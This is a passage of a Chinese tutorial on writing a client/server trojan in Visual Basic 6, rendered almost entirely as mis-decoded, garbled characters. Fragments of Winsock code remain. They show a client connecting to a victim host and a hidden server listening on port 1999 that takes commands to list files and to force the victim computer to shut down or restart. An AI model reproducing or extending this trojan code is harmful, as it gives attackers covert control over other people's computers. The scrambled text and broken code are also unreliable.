vb高級(jí)編程

1、淺談?dòng)肰B6.0編寫(xiě)木馬程序現(xiàn)在網(wǎng)絡(luò)上流行的木馬軟件基本都是客戶(hù)機(jī)服務(wù)器模式也就是所謂的CS結(jié)構(gòu)，目前也有一些開(kāi)始向BS結(jié)構(gòu)轉(zhuǎn)變，在這里暫且不對(duì)BS結(jié)構(gòu)進(jìn)行詳談，本文主要介紹CS結(jié)構(gòu)其原理就是在本機(jī)直接啟動(dòng)運(yùn)行的程序擁有與使用者相同的權(quán)限。因此如果能夠啟動(dòng)服務(wù)器端（即被攻擊的計(jì)算機(jī)）的服務(wù)器程序，就可以使用相應(yīng)的客戶(hù)端工具客戶(hù)程序直接控制它了。下面來(lái)談?wù)勅绾斡肰B來(lái)實(shí)現(xiàn)它。首先使用VB建立兩個(gè)程序，一個(gè)為客戶(hù)端程序Client，一個(gè)為服

2、務(wù)器端程序systry。在Client工程中建立一個(gè)窗體，加載WinSock控件，稱(chēng)為tcpClient，協(xié)議選擇TCP，再加入兩個(gè)文本框，用以輸入服務(wù)器的IP地址或服務(wù)器名，然后建立一個(gè)按鈕，按下之后就可以對(duì)連接進(jìn)行初始化了，代碼如下：PrivateSubcmdConnect_Click()IfLen(Text1.Text)=0Len(Text2.Text)=0ThenMsgBox(“請(qǐng)輸入主機(jī)名或主機(jī)IP地址?！?ExitSubEl

3、seIfLen(Text1.Text)0ThentcpClient.RemoteHost=Text1.TextElsetcpClient.RemoteHost=Text2.TextEndIfEndIftcpClient.ConnectTimer1.Enabled=TrueEndSub連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。在服務(wù)器端systry工程也建立一個(gè)窗體，加載WinSock控件，稱(chēng)為tcpServer

4、，協(xié)議選擇TCP，在Fm_Load事件中加入如下代碼：PrivateSubFm_Load()tcpServer.LocalPt=1999tcpServer.Listen把命令I(lǐng)D號(hào)存入mKey把命令參數(shù)存入strDatastrData=Right(strDataLen(strData)i)ExitFEndIfNextiCaseVal(mKey)Case1‘驅(qū)動(dòng)器名、目錄名、文件名Case2強(qiáng)制關(guān)閉服務(wù)器端的計(jì)算機(jī)Case3強(qiáng)制重啟服務(wù)器